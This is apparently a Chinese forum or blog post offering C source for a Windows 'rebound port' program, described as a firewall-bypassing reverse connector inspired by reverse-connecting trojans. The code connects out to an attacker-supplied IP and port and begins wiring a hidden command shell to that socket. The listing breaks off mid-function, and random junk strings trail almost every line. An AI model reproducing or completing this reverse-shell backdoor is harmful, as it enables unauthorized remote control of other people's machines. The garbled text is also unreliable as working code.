这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V9}\0joM
);iJ9+ V}
/* ============================== <ta{)}IN^
Rebound port in Windows NT #W|Obc]K
By wind,2006/7 n3&h1-
===============================*/ u9~Ncz
#include wb(S7OsMO
#include s_RK x)w@
dhxzW@'nIL
#pragma comment(lib,"wsock32.lib") }~PG]A
`v)'(R7){
void OutputShell(); &8Vh3QLEx
SOCKET sClient; }qoId3iY!7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NS`hXf
Bw!J!cCj
void main(int argc,char **argv) z;e@m2.IM
{ :@P6ibcX
WSADATA stWsaData; xoj,> [7 D
int nRet; QGV#AID3XW
SOCKADDR_IN stSaiClient,stSaiServer; bV2a2#kj
J%xUO1
if(argc != 3) )B&`<1Oie
{ +zk5du^gZ
printf("Useage:\n\rRebound DestIP DestPort\n"); wme#8/eUk
return; 4guR8 elM
} t\
z@k9
&=M4Z/Ao
WSAStartup(MAKEWORD(2,2),&stWsaData); .o]I^3tfc
"M/) LXn:0
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q(aNa!
/F"eqMN
stSaiClient.sin_family = AF_INET; I0Allw[
stSaiClient.sin_port = htons(0); fJ5mKN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .57Fh)Y
"q= ss:(
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?SO!INJ
{ zh=0zJ
printf("Bind Socket Failed!\n"); @6+_0^
return; dqQJC qc!
} 8d8jUPFQ
_=`DzudE
stSaiServer.sin_family = AF_INET; W.cc!8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $8 &Y(`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )6X-m9.X
WjR2:kT
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TB&IB:4)R
{ lDKyD`WKnZ
printf("Connect Error!"); E
$\nb]JQ
return; %O#zE-H"
} L>g6
9D!
OutputShell(); X)Tyxppf'
} +e*C`uP!
J?dz>3Rhx9
void OutputShell() FW;}S9u3
{ -:'%YHxX
char szBuff[1024]; NT5##XOB
SECURITY_ATTRIBUTES stSecurityAttributes; 6)Za K
OSVERSIONINFO stOsversionInfo; 3dbaCusT$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
: *[mvF
STARTUPINFO stStartupInfo; 4
$Kzh
char *szShell; ._A4:
PROCESS_INFORMATION stProcessInformation; &J|I&p
unsigned long lBytesRead; <P0 P*>M
"[fPzIP9
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YryMB,\
!T:7xEr
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4Y3@^8h&=
stSecurityAttributes.lpSecurityDescriptor = 0; xhho{
stSecurityAttributes.bInheritHandle = TRUE; 0[<'ygu
c V@^<
rr(kFQ"
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <vV"abk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g@M5_I(W
X@Zt4)2#
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eNi#% ?=WB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q<MxbHk9
stStartupInfo.wShowWindow = SW_HIDE; "M2WK6?O5
stStartupInfo.hStdInput = hReadPipe; #?D[WTV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >d"\
i?@7>Ca
GetVersionEx(&stOsversionInfo); =N\$$3m?
HN/YuP03[
switch(stOsversionInfo.dwPlatformId) NYg&